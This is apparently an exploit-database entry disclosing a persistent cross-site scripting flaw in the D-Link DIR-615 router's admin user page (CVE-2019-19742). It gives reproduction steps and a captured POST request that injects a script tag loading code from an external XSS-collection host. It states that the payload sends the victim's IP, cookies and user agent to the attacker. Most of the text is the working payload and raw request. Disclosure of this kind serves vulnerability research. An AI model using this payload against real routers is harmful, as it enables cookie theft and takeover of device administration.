D-Link DIR-615 Wireless Router - Persistent Cross-Site Scripting

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# Exploit Title: D-Link DIR-615 Wireless Router — Persistent Cross Site Scripting
# Date: 13.12.2019
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019–19742
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Reproduction Steps:
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1. Login to your wi-fi router gateway with admin credentials [i.e: http://192.168.0.1]
2. Go to Maintenance page and click on Admin on the left pannel.
3. Put blind XSS Payload in to the name field — “><script src=https://ptguy.xss.ht></script>. This payload saved by the server and its reflected in the user page.
4. Every refresh in the user home page, the XSS payload executes and sends data (IP, cookies, victim user agent) to the attacker.
5. For HTML injection just put <b> Testing </b> in username field, you will get the username bold in your homepage.
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#Burp Intercept

POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1

username=*%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fptguy.xss.ht
<http://2Fptguy.xss.ht>%3E%3C%2Fscript%3E*&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send